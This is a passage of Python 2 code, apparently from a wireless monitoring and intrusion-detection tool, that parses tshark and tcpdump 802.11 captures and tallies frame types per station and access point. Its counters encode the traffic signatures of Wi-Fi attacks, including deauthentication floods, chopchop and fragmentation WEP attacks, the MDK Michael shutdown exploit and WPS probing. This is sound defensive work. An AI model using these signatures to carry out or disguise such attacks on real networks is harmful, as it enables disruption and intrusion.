        __builtin__.PKT_PROBE_REQ=str(NewLine)[:Pos2]
        __builtin__.PKT_CMD="Probe_Request"
    if rawline.find("Probe_Response (")!=-1:
        Pos1=rawline.find("Probe_Response (")+16
        NewLine=str(rawline)[Pos1:]
        Pos2=str(NewLine).find(") ")
        __builtin__.PKT_PROBE_RSP=str(NewLine)[:Pos2]
        __builtin__.PKT_CMD="Probe_Response"
    if rawline.find(" Mbit]")!=-1:
        Pos1=rawline.find(" Mbit]") + 6
        NewLine=str(rawline)[:Pos1]
        Pos2=Pos1-60
        if Pos1<1:
            Pos2=1
        NewLine=str(NewLine)[Pos2:]
        Pos2=str(NewLine).find(" [")
        __builtin__.PKT_MBIT=str(NewLine)[Pos2:]
        __builtin__.PKT_MBIT=str(__builtin__.PKT_MBIT).replace("[","").replace("]","").lstrip().rstrip()
    if PKT_ESS=="Yes":
        if SRC_TYPE=="AP":
            foundloc=FindMACIndex(__builtin__.SRC_MAC,ListInfo_BSSID)
            if foundloc!=-1:
                __builtin__.ListInfo_ESS[foundloc]="Yes"
        if DST_TYPE=="AP":
            foundloc=FindMACIndex(__builtin__.DST_MAC,ListInfo_BSSID)
            if foundloc!=-1:
                __builtin__.ListInfo_ESS[foundloc]="Yes"
    if SRC_TYPE=="AP":
        foundloc=FindMACIndex(__builtin__.SRC_MAC,ListInfo_BSSID)
        if foundloc!=-1:
            if __builtin__.PKT_STANDARD!="":
                __builtin__.PKT_STANDARD=__builtin__.PKT_STANDARD.replace("11","")
                Current=str(__builtin__.ListInfo_APStandard[foundloc]).replace("802.11 ","")
                if Current=="-":
                    __builtin__.ListInfo_APStandard[foundloc]="802.11 " + PKT_STANDARD
                else:
                    if Current.find(PKT_STANDARD)==-1:
                        Current=Current + PKT_STANDARD
                        Current=ArrangeStandard(Current)
                        __builtin__.ListInfo_APStandard[foundloc]="802.11 " + Current
            if __builtin__.PKT_CHANNEL!="":
                __builtin__.ListInfo_Channel[foundloc]=str(__builtin__.PKT_CHANNEL)
            if __builtin__.PKT_FREQ!="":
                __builtin__.ListInfo_Freq[foundloc]=str(__builtin__.PKT_FREQ)
            if __builtin__.PKT_ESSID!="":
                __builtin__.ListInfo_ESSID[foundloc]=str(__builtin__.PKT_ESSID)
    if SRC_TYPE=="ST":
        foundloc=FindMACIndex(__builtin__.SRC_MAC,ListInfo_STATION)
        if foundloc!=-1:
            if __builtin__.PKT_STANDARD!="":
                __builtin__.PKT_STANDARD=__builtin__.PKT_STANDARD.replace("11","")
                Current=str(__builtin__.ListInfo_STNStandard[foundloc]).replace("802.11 ","")
                if Current=="-":
                    __builtin__.ListInfo_STNStandard[foundloc]="802.11 " + PKT_STANDARD
                else:
                    if Current.find(PKT_STANDARD)==-1:
                        Current=Current + PKT_STANDARD
                        Current=ArrangeStandard(Current)
                        __builtin__.ListInfo_STNStandard[foundloc]="802.11 " + Current
#

def GetSignalRange(SignalQ):
    SignalQ=str(SignalQ).replace("dB","")
    CQualityPercent=0
    CQRange=fcolor.SBlack + "Unknown"
    CSignal=SignalQ
    if len(CSignal)>1 and len(CSignal)<4:
        CSignal=CSignal.replace("-","")
        if CSignal.isdigit()==True:
            CSignal="-" + str(CSignal)
            CQualityPercent=int(100 + int(CSignal))
            if CQualityPercent>=99 or CQualityPercent==0:  
                CQRange=fcolor.SBlack + "Unknown"
            if CQualityPercent>=70 and CQualityPercent<=98:
                CQRange=fcolor.SGreen + "V.Good"
            if CQualityPercent>=50 and CQualityPercent<=69:
                CQRange=fcolor.SGreen + "Good"
            if CQualityPercent>=26 and CQualityPercent<=49:
                CQRange=fcolor.SYellow + "Average"
            if CQualityPercent>=1 and CQualityPercent<=25:
               CQRange=fcolor.SRed + "Poor"
    return CQRange

def ArrangeStandard(Standard):
    NewStandard=""
    if Standard.find("A")!=-1:
        NewStandard=NewStandard + "A"
    if Standard.find("B")!=-1:
        NewStandard=NewStandard + "B"
    if Standard.find("G")!=-1:
        NewStandard=NewStandard + "G"
    if Standard.find("N")!=-1:
        NewStandard=NewStandard + "N"
    return NewStandard

def Percent(val, digits):
    val *= 10 ** (digits + 2)
    return '{1:.{0}f} %'.format(digits, floor(val) / 10 ** digits)

def CheckContainMyMAC(StrVal):
    if str(StrVal).find(__builtin__.SELECTED_MON_MAC)!=-1:
        return True
    if str(StrVal).find(__builtin__.SELECTED_MANIFACE_MAC)!=-1:
        return True
    if str(StrVal).find(__builtin__.SELECTED_IFACE_MAC)!=-1:
        return True
    if str(StrVal).find(__builtin__.SELECTED_ATK_MAC)!=-1:
        return True
    return False

def ClearTSharkData():
    __builtin__.List_ANALYZER=[]
    __builtin__.List_FrMAC=[]
    __builtin__.List_ToMAC=[]
    __builtin__.List_BSSID=[]
    __builtin__.List_Auth=[]
    __builtin__.List_Deauth=[]
    __builtin__.List_Deauth_AC=[]
    __builtin__.List_Assoc=[]
    __builtin__.List_Reassoc=[]
    __builtin__.List_Disassoc=[]
    __builtin__.List_RTS=[]
    __builtin__.List_CTS=[]
    __builtin__.List_ACK=[]
    __builtin__.List_EAPOL_STD=[]
    __builtin__.List_EAPOL_START=[]
    __builtin__.List_WPS=[]
    __builtin__.List_Beacon=[]
    __builtin__.List_SSID=[]
    __builtin__.List_SSIDCT=[]
    __builtin__.List_IsAP=[]
    __builtin__.List_PResp=[]
    __builtin__.List_PReq=[]
    __builtin__.List_ProbeName=[]
    __builtin__.List_NULL=[]
    __builtin__.List_QOS=[]
    __builtin__.List_Data86=[]
    __builtin__.List_DataARP=[]
    __builtin__.List_Data98=[]
    __builtin__.List_Data94=[]

def AddTSharkData(DataList):
    DT_FrMAC="";DT_ToMAC="";DT_Type="";DT_LEN="";DT_CMD="";DT_FLAGS="";DT_SSID="";DT_SN="";DT_FN="";DT_BI="";DT_BSSID="";
    DT_FrMAC=str(DataList[13]).upper()		# SA
    DT_ToMAC=str(DataList[14]).upper()		# DA
    DT_BSSID=str(DataList[17]).upper()		# BSSID
    DT_SA=str(DataList[13]).upper()
    DT_DA=str(DataList[14]).upper()
    DT_RA=str(DataList[15]).upper()
    DT_TA=str(DataList[16]).upper()
    DT_Type=DataList[25]   # 802.11
    DT_LEN=DataList[18]
    DT_NTYPE=str(DataList[25]).upper()
    DT_CMD=str(DataList[26]).upper()
    DT_FLAGS=str(DataList[27]).upper()
    DT_SSID=str(DataList[24])
    if DT_SSID[-11:]=="<Malformed>":
        DT_SSID=""
    if str(DT_SSID).find("[Malformed")!=-1:
        DT_SSID=""
    if DT_FrMAC=="XX:XX:XX:XX:XX:XX" or DT_ToMAC=="XX:XX:XX:XX:XX:XX":
        return
    if DT_NTYPE!="802.11" and DT_NTYPE!="EAP_REQ" and DT_NTYPE!="EAP_RSP" and DT_NTYPE!="EAPOL" and DT_NTYPE!="EAP":
        return
    x=0
    tmpANALYZER=[]
    Skip=0
    while x<len(__builtin__.List_ANALYZER):
        tmpANALYZER=__builtin__.List_ANALYZER[x].split("\t")
        if tmpANALYZER[0]==DT_FrMAC and tmpANALYZER[1]==DT_ToMAC  and tmpANALYZER[2]==DT_BSSID and tmpANALYZER[3]==DT_NTYPE and tmpANALYZER[4]==DT_CMD and tmpANALYZER[5]==DT_LEN and tmpANALYZER[6]==DT_FLAGS:
            DTA_CT=tmpANALYZER[7]
            DTA_CT=int(DTA_CT)+1
            ALZ_DATA=str(DT_FrMAC) + "\t" + str(DT_ToMAC) + "\t" + str(DT_BSSID) + "\t" + str(DT_NTYPE) + "\t" + str(DT_CMD) + "\t" + str(DT_LEN) + "\t" + str(DT_FLAGS) + "\t" + str(DTA_CT)
            __builtin__.List_ANALYZER[x]=ALZ_DATA
            Skip=1
        x += 1
    if Skip==0:
        ALZ_DATA=str(DT_FrMAC) + "\t" + str(DT_ToMAC) + "\t" + str(DT_BSSID) + "\t" + str(DT_NTYPE) + "\t" + str(DT_CMD) + "\t" + str(DT_LEN) + "\t" + str(DT_FLAGS) + "\t" + "1"
        __builtin__.List_ANALYZER.append (ALZ_DATA)
       
    x=0
    ExistList=-1
    FirstHit=-1
    while x<len(__builtin__.List_FrMAC):
        if __builtin__.List_FrMAC[x]==DT_FrMAC and str(__builtin__.List_ToMAC[x])[:3]=="FF:" and str(__builtin__.List_ToMAC[x])!="FF:FF:FF:FF:FF:FF"  and DT_ToMAC[:3]=="FF:"  and DT_ToMAC!="FF:FF:FF:FF:FF:FF" and __builtin__.List_BSSID[x]==DT_BSSID:
            FirstHit=x
        if __builtin__.List_FrMAC[x]==DT_FrMAC and __builtin__.List_ToMAC[x]==DT_ToMAC  and __builtin__.List_BSSID[x]==DT_BSSID:
            ExistList=x
            x=len(__builtin__.List_FrMAC)
        x += 1
    if ExistList==-1 and FirstHit!=-1:
        ExistList=FirstHit
    GET_DATAARP="0"
    GET_AUTH="0"
    GET_DEAUTH="0"
    GET_DEAUTH_AC="0"
    GET_DISASSOC="0"
    GET_REASSOC="0"
    GET_ASSOC="0"
    GET_RTS="0"
    GET_CTS="0"
    GET_ACK="0"
    GET_EAPOL_STD="0"
    GET_EAPOL_START="0"
    GET_WPS="0"
    GET_BEACON="0"
    GET_PRESP="0"
    GET_PRQX="0"
    GET_NULL="0"
    GET_QOS="0"
    GET_DATA86="0"
    GET_DATA98="0"
    GET_DATA94="0"
    PROBE_SSID=DT_SSID
    AESSID=DT_SSID
    if DT_CMD=="DATA":
        if DT_ToMAC=="FF:FF:FF:FF:FF:FF" and DT_FrMAC!=DT_BSSID:
            GET_DATAARP="1"
    if DT_CMD=="DATA":                
        if DT_LEN=="71" or DT_LEN=="73":
            if DT_ToMAC[:9]=="01:00:5E:":
                GET_DATAARP="1"
    if DT_CMD=="DATA":                 
        if DT_LEN=="98" and DT_FLAGS==".P....F.C":
            GET_DATA98="1"
    if DT_CMD=="DATA" and DT_LEN.isdigit()==True:
        if int(DT_LEN)<90 and DT_FLAGS==".P....F.C" and DT_ToMAC[:3]=="FF:":
            GET_DATA98="1"
    if DT_CMD=="DATA":                  
        if DT_LEN=="94":
            if DT_FLAGS==".P...M.TC" or DT_FLAGS==".P.....TC":
                if DT_FrMAC[9:]==":00:00:00":
                    GET_DATA94="1"
    if DT_CMD=="DATA" and DT_FLAGS==".P.....TC" and DT_LEN=="94":                 
        if DT_FrMAC[9:]==":00:00:00":
            GET_DATA86="1"
    if DT_CMD=="DATA":                
        if DT_ToMAC[:9]=="FF:F3:18:":
            GET_DATAARP="1"
    if DT_CMD=="QOS_DATA" and DT_FrMAC[:6]==DT_ToMAC[:6] and DT_FrMAC[9:-2:]=="DE:AD:" and DT_ToMAC[:9]!="FF:FF:FF:" and DT_FLAGS==".P....F.C":
         GET_QOS="1"
    if DT_CMD[:14]=="AUTHENTICATION":
        GET_AUTH="1"
    if DT_CMD[:16]=="DEAUTHENTICATION":
        if DT_FLAGS=="........C":
            GET_DEAUTH_AC="1"
        else:
            GET_DEAUTH="1"
    if DT_CMD[:12]=="DISASSOCIATE":
        GET_DISASSOC="1"
    if DT_CMD[:11]=="ASSOCIATION":
        GET_ASSOC="1"
    if DT_CMD[:13]=="REASSOCIATION":
        GET_REASSOC="1"
    if DT_CMD=="REQUEST-TO-SEND":
        GET_RTS="1"
    if DT_CMD=="CLEAR-TO-SEND":
        GET_CTS="1"
    if DT_CMD=="ACKNOWLEDGEMENT":
        GET_ACK="1"
    if DT_CMD=="BEACON":
        GET_BEACON="1"
    if DT_NTYPE=="EAPOL" and DT_CMD!="START":
        GET_EAPOL_STD="1"
    if DT_NTYPE=="EAPOL" and DT_CMD=="START":
        GET_EAPOL_START="1"
    if DT_NTYPE=="EAP_REQ" or DT_NTYPE=="EAP_RSP":
        GET_WPS="1"
    if DT_CMD=="PROBE_RESPONSE":
        GET_PRESP="1"
    if DT_CMD=="PROBE_REQUEST":
        GET_PRQX="1"
    if DT_CMD=="NULL_FUNCTION":
        GET_NULL="1"
    if ExistList==-1:
        __builtin__.List_FrMAC.append (DT_FrMAC)
        __builtin__.List_ToMAC.append (DT_ToMAC)
        __builtin__.List_BSSID.append (DT_BSSID)
        __builtin__.List_DataARP.append(str(GET_DATAARP))
        __builtin__.List_Data86.append(str(GET_DATA86))
        __builtin__.List_Data98.append(str(GET_DATA98))
        __builtin__.List_Data94.append(str(GET_DATA94))
        __builtin__.List_Auth.append(str(GET_AUTH))
        __builtin__.List_Deauth.append(str(GET_DEAUTH))
        __builtin__.List_Deauth_AC.append(str(GET_DEAUTH_AC))
        __builtin__.List_Assoc.append(str(GET_ASSOC))
        __builtin__.List_Reassoc.append(str(GET_REASSOC))
        __builtin__.List_Disassoc.append(str(GET_DISASSOC))
        __builtin__.List_RTS.append(str(GET_RTS))
        __builtin__.List_CTS.append(str(GET_CTS))
        __builtin__.List_ACK.append(str(GET_ACK))
        __builtin__.List_EAPOL_STD.append(str(GET_EAPOL_STD))
        __builtin__.List_EAPOL_START.append(str(GET_EAPOL_START))
        __builtin__.List_WPS.append(str(GET_WPS))
        __builtin__.List_NULL.append(str(GET_NULL))
        __builtin__.List_QOS.append(str(GET_QOS))
        __builtin__.List_Beacon.append(str(GET_BEACON))
        __builtin__.List_PResp.append(str(GET_PRESP))
        __builtin__.List_PReq.append(str(GET_PRQX))
        __builtin__.List_SSID.append(str(DT_SSID) + ", ")
        __builtin__.List_ProbeName.append(str(PROBE_SSID) + " / ")
        if AESSID!="":
            __builtin__.List_IsAP.append("Yes")
        else:
            __builtin__.List_IsAP.append("No")
    else:
        __builtin__.ANALYSE_DATA="TSHARK"
        GET_DATAARP=__builtin__.List_DataARP[ExistList]
        GET_DATA86=__builtin__.List_Data86[ExistList]
        GET_DATA98=__builtin__.List_Data98[ExistList]
        GET_DATA94=__builtin__.List_Data94[ExistList]
        GET_AUTH=__builtin__.List_Auth[ExistList]
        GET_DEAUTH=__builtin__.List_Deauth[ExistList]
        GET_DEAUTH_AC=__builtin__.List_Deauth_AC[ExistList]
        GET_ASSOC=__builtin__.List_Assoc[ExistList]
        GET_REASSOC=__builtin__.List_Reassoc[ExistList]
        GET_DISASSOC=__builtin__.List_Disassoc[ExistList]
        GET_RTS=__builtin__.List_RTS[ExistList]
        GET_CTS=__builtin__.List_CTS[ExistList]
        GET_ACK=__builtin__.List_ACK[ExistList]
        GET_EAPOL_STD=__builtin__.List_EAPOL_STD[ExistList]
        GET_EAPOL_START=__builtin__.List_EAPOL_START[ExistList]
        GET_WPS=__builtin__.List_WPS[ExistList]
        GET_BEACON=__builtin__.List_Beacon[ExistList]
        GET_PRESP=__builtin__.List_PResp[ExistList]
        GET_PRQX=__builtin__.List_PReq[ExistList]
        GET_NULL=__builtin__.List_NULL[ExistList]
        GET_QOS=__builtin__.List_QOS[ExistList]
        SSID_List=[]
        if __builtin__.List_SSID[ExistList]!="":
            List_SSIDS=str(__builtin__.List_SSID[ExistList])
            SSID_List=List_SSIDS.split(", ")
        ProbeName_List=[]
        if __builtin__.List_ProbeName[ExistList]!="":
            List_ProbeNameS=str(__builtin__.List_ProbeName[ExistList])
            ProbeName_List=List_ProbeNameS.split(" / ")
        if DT_SSID!="":
            __builtin__.List_IsAP[ExistList]="Yes"
        
        lSSID=len(SSID_List)
        lsid=0
        FoundSSID="0"
        if lSSID!=0 and DT_SSID!="":
            while lsid<lSSID:
                if SSID_List[lsid]!="" and SSID_List[lsid]==str(DT_SSID):
                    FoundSSID="1"
                    lsid=lSSID
                lsid=lsid+1
            if FoundSSID=="0":
                if __builtin__.List_SSID[ExistList]==", ":
                    __builtin__.List_SSID[ExistList]=""
                if DT_SSID!="Broadcast":
                    __builtin__.List_SSID[ExistList]=__builtin__.List_SSID[ExistList] + str(DT_SSID) + ", "
        lSSID=len(ProbeName_List)
        lsid=0
        FoundProbeName="0"
        if lSSID!=0 and PROBE_SSID!="":
            while lsid<lSSID:
                if ProbeName_List[lsid]!="" and ProbeName_List[lsid]==str(PROBE_SSID):
                    FoundProbeName="1"
                    lsid=lSSID
                lsid=lsid+1
            if FoundProbeName=="0":
                if __builtin__.List_ProbeName[ExistList]==" / ":
                    __builtin__.List_ProbeName[ExistList]=""
                __builtin__.List_ProbeName[ExistList]=__builtin__.List_ProbeName[ExistList] + str(PROBE_SSID) + " / "
        if DT_CMD=="DATA" and DT_LEN=="98" and DT_FLAGS==".P....F.C":               # chopchop ??
            GET_DATA98=str(int(GET_DATA98) + 1)
        if DT_CMD=="DATA" and DT_LEN.isdigit()==True and int(DT_LEN)<90 and DT_FLAGS==".P.....TC":
            if DT_ToMAC[:3]=="FF:":
                GET_DATA98=str(int(GET_DATA98) + 1)
        if DT_CMD=="DATA" and DT_LEN=="94" and DT_FLAGS==".P...M.TC":               # fragment PRGA
            GET_DATA94=str(int(GET_DATA94) + 1)
 
        if DT_CMD=="DATA":
            if DT_LEN=="71" or DT_LEN=="73":
                if DT_ToMAC[:9]=="01:00:5E:":
                    GET_DATAARP=str(int(GET_DATAARP) + 1)
        if DT_CMD=="DATA"                                              :# ARP Broadcast
            if DT_DA[:9]=="FF:FF:FF:" and DT_FrMAC!=DT_BSSID:
                GET_DATAARP=str(int(GET_DATAARP) + 1)
        if DT_CMD=="DATA" and DT_FLAGS==".P.....TC":               # MDK mICHAEL SHUTDOWN EXPLOIT (TKIP)
             if DT_FrMAC[9:]=="00:00:00" and DT_LEN=="94":
               GET_DATA94=str(int(GET_DATA94) + 1)
        if DT_CMD[:14]=="AUTHENTICATION":
            GET_AUTH=str(int( GET_AUTH) + 1)
        if DT_CMD[:16]=="DEAUTHENTICATION":
            if DT_FLAGS=="........C":
                GET_DEAUTH_AC=str(int(GET_DEAUTH_AC) + 1)
            else:
                GET_DEAUTH=str(int(GET_DEAUTH) + 1)
        if DT_CMD[:12]=="DISASSOCIATE":
            GET_DISASSOC=str(int(GET_DISASSOC) + 1)
        if DT_CMD[:11]=="ASSOCIATION":
            GET_ASSOC=str(int(GET_ASSOC) + 1)
        if DT_CMD[:13]=="REASSOCIATION":
            GET_REASSOC=str(int(GET_REASSOC) + 1)
        if DT_CMD=="REQUEST-TO-SEND":
            GET_RTS=str(int(GET_RTS) + 1)
        if DT_CMD=="CLEAR-TO-SEND":
            GET_CTS=str(int(GET_CTS) + 1)
        if DT_CMD=="ACKNOWLEDGEMENT":
            GET_ACK=str(int(GET_ACK) + 1)
        if DT_NTYPE=="EAPOL" and DT_CMD!="START":
            GET_EAPOL_STD=str(int(GET_EAPOL_STD) + 1)
        if DT_NTYPE=="EAPOL" and DT_CMD=="START":
            GET_EAPOL_START=str(int(GET_EAPOL_START) + 1)
        if DT_NTYPE=="EAP_REQ" or DT_NTYPE=="EAP_RSP":
            GET_WPS=str(int(GET_WPS) + 1)
        if DT_CMD=="BEACON":
            GET_BEACON=str(int(GET_BEACON) + 1)
        if DT_CMD=="PROBE_RESPONSE":
            GET_PRESP=str(int(GET_PRESP) + 1)
        if DT_CMD=="PROBE_REQUEST":
            GET_PRQX=str(int(GET_PRQX) + 1)
        if DT_CMD=="NULL_FUNCTION":
            GET_NULL=str(int(GET_NULL) + 1)
        if DT_CMD=="QOS_DATA" and DT_FrMAC[:6]==DT_ToMAC[:6] and DT_FrMAC[9:-2:]=="DE:AD:" and DT_ToMAC[:9]!="FF:FF:FF:" and DT_FLAGS==".P....F.C":
            GET_QOS=str(int(GET_QOS) + 1)
        __builtin__.List_DataARP[ExistList]=GET_DATAARP
        __builtin__.List_Data86[ExistList]=GET_DATA86
        __builtin__.List_Data98[ExistList]=GET_DATA98
        __builtin__.List_Data94[ExistList]=GET_DATA94
        __builtin__.List_Auth[ExistList]=GET_AUTH
        __builtin__.List_Deauth[ExistList]=GET_DEAUTH
        __builtin__.List_Deauth_AC[ExistList]=GET_DEAUTH_AC
        __builtin__.List_Assoc[ExistList]=GET_ASSOC
        __builtin__.List_Reassoc[ExistList]=GET_REASSOC
        __builtin__.List_Disassoc[ExistList]=GET_DISASSOC
        __builtin__.List_RTS[ExistList]=GET_RTS
        __builtin__.List_CTS[ExistList]=GET_CTS
        __builtin__.List_ACK[ExistList]=GET_ACK
        __builtin__.List_EAPOL_STD[ExistList]=GET_EAPOL_STD
        __builtin__.List_EAPOL_START[ExistList]=GET_EAPOL_START
        __builtin__.List_WPS[ExistList]=GET_WPS
        __builtin__.List_Beacon[ExistList]=GET_BEACON
        __builtin__.List_PResp[ExistList]=GET_PRESP
        __builtin__.List_PReq[ExistList]=GET_PRQX
        __builtin__.List_NULL[ExistList]=GET_NULL
        __builtin__.List_QOS[ExistList]=GET_QOS
        if DT_SSID!="" and __builtin__.List_SSID[ExistList]=="":
            __builtin__.List_SSID[ExistList]=DT_SSID + " / "
            __builtin__.List_IsAP[ExistList]="Yes"
        if PROBE_SSID!="" and __builtin__.List_ProbeName[ExistList]=="":
            __builtin__.List_ProbeName[ExistList]=PROBE_SSID + " / "
        if AESSID!="":
            __builtin__.List_IsAP[ExistList]="Yes"
    ExistList=-1

def AnalyseTShark(DisplayTitle):
    spacing="" #tabspacefull
    RecCt=0;linecount=0;lineblock=0
    ClearTSharkData()
    if IsFileDirExist(__builtin__.TSharkFileBak2)=="F":
        ColorChange=0
        if DisplayTitle=="1":
            CenterText(fcolor.BGICyan + fcolor.BBlack,"< < <<  CONVERTED TSHARK FRAMES DATA   >> > >      ");print ""
            DisplayAnalysisFilters();print ""
        if __builtin__.SHOWRESULT==3:
            Result=GetFileLine(__builtin__.TSharkFileBak2,"1")
            printl (spacing + fcolor.SGreen + "Analysing Packets...TShark","0","")
        with open(TSharkFileBak2,"r") as f:
            for line in f:
                if __builtin__.SHOWRESULT==3 and lineblock==100:
                    completed=Percent(linecount / float(__builtin__.TotalLine),2)
                    printl (spacing + fcolor.SGreen + "Analysing Packets...TShark - " + str(completed),"0","")
                    lineblock=0
                tmplist=[]
                line=line.replace("\n","").replace("\r","").replace("signal antenna ","")
                line=line.replace("             -> ","xx:xx:xx:xx:xx:xx -> ").replace("->              ","-> xx:xx:xx:xx:xx:xx ").replace(" -> "," ").replace(", "," ").replace("  "," ").replace("  "," ")
                line=line.replace("Beacon frame","Beacon").replace("QoS Null function (No data)","QoS_Null").replace("QoS Data","QoS_Data").replace("Probe Request","Probe_Request").replace("Probe Response","Probe_Response").replace(" (RA)","").replace(" (TA)","").replace("802.11 Block Ack","Block-Ack").replace("Fragmented IEEE 802.11 frame","Fragmented_Frame").replace("Unrecognized (Reserved frame)","Unrecognized").replace("","").replace(" (No data)","").replace(" (Control-frame)","").replace("Association Response","Association_Response").replace("Association Request","Association_Request").replace("Null function","Null_Function").replace(" (Reserved frame)","").replace("Measurement Pilot","Measurement_Pilot").replace(" (BSSID)","").replace("Action No Ack","ActionNoAck").replace("QOS_DATA + CF-ACKNOWLEDGEMENT","QoS_Data+CF-Ack").replace("QoS_Data + CF-Poll","QoS_Data+CF-Poll").replace("Reassociation Request","Reassociation_Request").replace("Block-Ack Req","Block-Ack-Req").replace("","").replace("","").replace("","").replace("  "," ").replace("  "," ").replace("","").replace("","").replace("","").replace("","").replace("","").replace("  "," ").replace("  "," ")
                line=line + "\t.\t.\t.\t.\t."
                line=str(line).lstrip().rstrip()
                tmplist=line.split("\t")
                AddTSharkData(tmplist)
                
                DT_FN=str(tmplist[0]).upper()
                DT_FrMAC=str(tmplist[13]).upper()
                DT_ToMAC=str(tmplist[14]).upper()
                DT_BSSID=str(tmplist[17]).upper()
                DT_Type=tmplist[24]   # 802.11
                DT_DURATION=tmplist[3]
                DT_FLEN=tmplist[18]
                DT_CMD=str(tmplist[26])  #.upper()
                DT_NTYPE=str(tmplist[25])  #.upper()
                DT_FLAGS=str(tmplist[27])
                DT_SSID=str(tmplist[24])
                DT_DATARATE=str(tmplist[8])
                DT_SIGNAL=str(tmplist[9]).replace("dB","")
                if len(tmplist)>10 and len(DT_FrMAC)==17:
                    linecount += 1;lineblock += 1
                    ToDisplay=1
                    tmplistu=str(tmplist).upper()
                    PKTCMD=str(tmplist[26]).upper()
                    ToDisplay=1
                    FoundMatch=0
                    if len(__builtin__.ANALYSIS_SEARCH)>0:
                        yc=0
                        FoundMatch=0
                        while yc < len(__builtin__.ANALYSIS_SEARCH):
                            tmpsearch=str(__builtin__.ANALYSIS_SEARCH[yc]).upper()
                            if str(tmplistu).find(tmpsearch)!=-1:
                                FoundMatch += 1
                            yc += 1
                        if FoundMatch>0:
                            ToDisplay=1
                        else:
                            ToDisplay=0
                    if len(__builtin__.ANALYSIS_MAC)>0 and ToDisplay==1:
                        yc=0
                        FoundMatch=0
                        while yc < len(__builtin__.ANALYSIS_MAC):
                            tmpsearch=str(__builtin__.ANALYSIS_MAC[yc]).upper()
                            if str(tmplistu).find(tmpsearch)!=-1:
                                FoundMatch += 1
                            yc += 1
                        if FoundMatch>0:
                            ToDisplay=1
                        else:
                            ToDisplay=0
                    if len(__builtin__.ANALYSIS_IGNORE)>0 and ToDisplay==1:
                        yc=0
                        while yc < len(__builtin__.ANALYSIS_IGNORE):
                            tmpsearch=str(__builtin__.ANALYSIS_IGNORE[yc]).upper()
                            if str(PKTCMD)==tmpsearch:
                                ToDisplay=0
                            yc += 1
                    DT_SSID=str(tmplist[24])
                        
                    
                    
                    if ToDisplay==1:
                        RecCt += 1
                        ColorChange += 1
                        if ColorChange==1:
                            ColorC=fcolor.SWhite
                        if ColorChange==2:
                            ColorC=fcolor.SGreen
                            ColorChange=0
                        YOURMAC=""
                        if CheckContainMyMAC(line)==True:
                            ColorC=fcolor.SPink
                            YOURMAC=fcolor.BPink + " [YOUR MAC]"
                            
       
                        UDT_CMD=str(DT_CMD).upper()
                        if UDT_CMD.find("ASSOC")!=-1 or UDT_CMD.find("AUTH")!=-1:
                            ColorC=fcolor.SRed
                        NLine=str(DT_FN).ljust(9) + str(DT_DATARATE).ljust(10) + str(DT_SIGNAL).ljust(5) + str(DT_FrMAC).ljust(20) + str(DT_ToMAC).ljust(20) + str(DT_BSSID).ljust(20) + DT_DURATION.ljust(8) + DT_FLEN.ljust(8) + DT_NTYPE.ljust(10) + DT_CMD.ljust(25) + DT_FLAGS.ljust(12) + str(DT_SSID) + str(YOURMAC)
                        if __builtin__.SHOWRESULT==1:
                            if RecCt==1:
                                print fcolor.BBlue + "Sr.No.".ljust(9) + "Rate".ljust(10) + "Pwr".ljust(5) + "Source MAC".ljust(20) + "Destination MAC".ljust(20) + "BSSID".ljust(20) + "DUR".ljust(8) + "LEN".ljust(8) + "Protocol".ljust(10) + "Frame Type".ljust(25) + "Flags".ljust(12) + "ESSID"
                            print ColorC + str(NLine)
                        if __builtin__.SHOWRESULT==2:
                            print fcolor.BGreen + "" + ColorC + str(tmplist)
                        if __builtin__.SHOWRESULT==3 or __builtin__.SHOWRESULT==4:
                            open(__builtin__.SavedTSharkFile,"a+b").write(line + "\n")
        if __builtin__.SHOWRESULT!=3 and __builtin__.SHOWRESULT!=4:
            print ""
            if RecCt!=0:
                print fcolor.BWhite + str(RecCt) + " records listed / " + str(int(linecount)-int(RecCt)) + " records ignored."
                DisplayAnalysisFilters()
            else:
                print fcolor.BWhite + "No record found. " + str(linecount) + " data read."
                DisplayAnalysisFilters()
        else:
            if __builtin__.SHOWRESULT!=4:
                printl (spacing + fcolor.SGreen + "Analysing Packets...TShark - Completed.","0","")
    else:
        printl (fcolor.BRed + "Packet file - " + fcolor.BYellow + __builtin__.TCPDumpFileBak + fcolor.BRed + " not found !","0","")

def AnalyseTCPDump(DisplayTitle):
    spacing="" # tabspacefull
    RecCt=0;linecount=0;lineblock=0;
    if IsFileDirExist(__builtin__.TCPDumpFileBak)=="F":
        ColorChange=0
        if DisplayTitle=="1":
            CenterText(fcolor.BGICyan + fcolor.BBlack,"< < <<  CONVERTED TCPDUMP FRAMES DATA   >> > >      ");print ""
            DisplayAnalysisFilters();print ""
        if __builtin__.SHOWRESULT==3:
            Result=GetFileLine(__builtin__.TCPDumpFileBak,"1")
            printl (spacing + fcolor.SGreen + "Analysing Packets...TCPDump","0","")
        with open(TCPDumpFileBak,"r") as f:
            for line in f:
                linecount += 1;lineblock += 1
                if __builtin__.SHOWRESULT==3 and lineblock==100:
                    completed=Percent(linecount / float(__builtin__.TotalLine),2)
                    printl (spacing + fcolor.SGreen + "Analysing Packets...TCPDump - " + str(completed),"0","")
                    lineblock=0
                tmplist=[]
                line=line.replace("\n","").replace("\r","").replace("signal antenna ","Signal_Antenna:")
                line=line.replace("Beacon frame","Beacon").replace("QoS Null function (No data)","QoS_Null").replace("QoS Data","QoS_Data").replace("Probe Request","Probe_Request").replace("Probe Response","Probe_Response").replace(" (RA)","").replace(" (TA)","").replace("802.11 Block Ack","Block-Ack").replace("Fragmented IEEE 802.11 frame","Fragmented_Frame").replace("Unrecognized (Reserved frame)","Unrecognized").replace("","").replace(" (No data)","").replace(" (Control-frame)","").replace("Association Response","Association_Response").replace("Association Request","Association_Request").replace("Null function","Null_Function").replace(" (Reserved frame)","").replace("Measurement Pilot","Measurement_Pilot").replace(" (BSSID)","").replace("Action No Ack","ActionNoAck").replace("Acknowledgment","Acknowledgement").replace(" Mb/s ","Mb/s ").replace(" MHz ","MHz ").replace("WEP Encrypted","WEP_Encrypted").replace("Data IV:","DataIV:").replace("GI More Data Retry Strictly Ordered","GI_More_Data_Retry_Strictly_Ordered").replace("CF +QoS","CF+QoS").replace(" Pad "," Pad:").replace(" KeyID "," KeyID:").replace(" Strictly Ordered ","_Strictly_Ordered_").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("","").replace("  "," ").replace("  "," ")
                tmplist=line.split(" ")
                lineu=str(line).upper()
                tmplistu=str(tmplist).upper()
                TCPDump_ExtractDetail(tmplist,line)
                ToDisplay=1
